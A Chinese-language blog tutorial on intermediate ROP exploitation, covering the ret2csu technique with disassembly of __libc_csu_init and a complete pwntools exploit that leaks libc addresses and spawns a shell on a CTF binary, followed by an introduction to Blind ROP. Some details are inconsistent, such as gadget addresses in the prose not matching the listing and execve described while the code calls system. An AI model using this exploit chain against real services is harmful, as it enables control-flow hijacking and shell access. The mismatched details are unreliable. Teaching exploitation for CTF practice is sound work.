游客

中阶ROP链

一言准备中...

阅读复现本篇请先拥有PWN前置知识
初阶ROP链


中阶 ROP 主要是使用了一些比较巧妙的 Gadgets


ret2csu

64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的__libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

这里我们可以利用以下几点

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。

  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。

  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

示例

这里我们以此为例进行介绍。首先检查程序的安全保护。

https://enc.edu.pl/files/pwn/ret2csu

➜  ret2__libc_csu_init git:(iromise) ✗ checksec level5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序为 64 位,开启了堆栈不可执行保护。

其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出。

简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。

这里使用的是 execve 来获取 shell。

基本利用思路如下

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。

__libc_csu_init的起始地址是 0x0000000000400606, 利用 0x400606 处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,利用 0x4005f0 处的代码将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8],这时候将rbx赋值0,可以将想调用的函数地址传给r12。执行完函数之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1。


exp 如下

##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher

#context.log_level='debug'

r=process('./ret2csu')
elf=ELF('./ret2scu')

write_got=elf.got['write']
read_got=elf.got['read']
main_adr=elf.symbols['_start']
bss_adr=elf.bss()
csu_front_adr=0x00000000004005F0
csu_last_adr=0x0000000000400606
fackebp=8*'A'

def csu(rbx,rbp,r12,r13,r14,r15,last):
    payload=128*'A'+fackebp
    payload+=p64(csu_last_adr)
    payload+=p64(0)
    payload+=p64(rbx)
    payload+=p64(rbp)
    payload+=p64(r12)
    payload+=p64(r13)
    payload+=p64(r14)
    payload+=p64(r15)
    payload+=p64(csu_front_adr)
    payload+=56*'A'
    payload+=p64(last)
    r.send(payload)
    sleep(1)

r.recvuntil('Hello, World\n')
print "send payload first"
# write(1,write_got,8)
csu(0,1,write_got,1,write_got,8,main_adr)

write_adr=u64(r.recv(8))
print "write_adr: " + hex(write_adr)
write_libc= 0x110140
system_libc=0x04f440
offset=write_adr-write_libc
system_adr=offset+system_libc

r.recvuntil('Hello, World\n')
print "send payload seconed"
# read(0,bss_adr,16)
csu(0,1,read_got,0,bss_adr,16,main_adr)
r.send(p64(system_adr)+"/bin/sh\x00")

r.recvuntil('Hello, World\n')
print "send payload third"
# system(bss_adr+8)
csu(0,1,bss_adr,bss_adr+8,0,0,main_adr)
r.interactive()

第一次栈溢出:泄露write函数地址 → 计算libc基址 → 获取execve地址
第二次栈溢出:向bss段写入execve地址和"/bin/sh"字符串
第三次栈溢出:调用execve("/bin/sh")获取shell

BROP

BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind,下面是作者对应的 paper 和 slides, 以及作者相应的介绍。

论文

原作者演示PPT

BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。

攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理

目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。

  • 本文作者:Junius
  • 本文链接: https://enc.edu.pl/?post=12
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
文章很赞!支持一下吧 还没有人为TA充电
为TA充电
还没有人为TA充电
1
1
  • 支付宝打赏
    支付宝扫一扫
  • 微信打赏
    微信扫一扫
感谢支持
文章很赞!支持一下吧
关于作者
20
0
1
0
内卷太严重,已躺平...

初阶ROP链

上一篇

2021陇剑杯WP

下一篇
评论区
内容为空

这一切,似未曾拥有

  • 复制图片
按住ctrl可打开默认菜单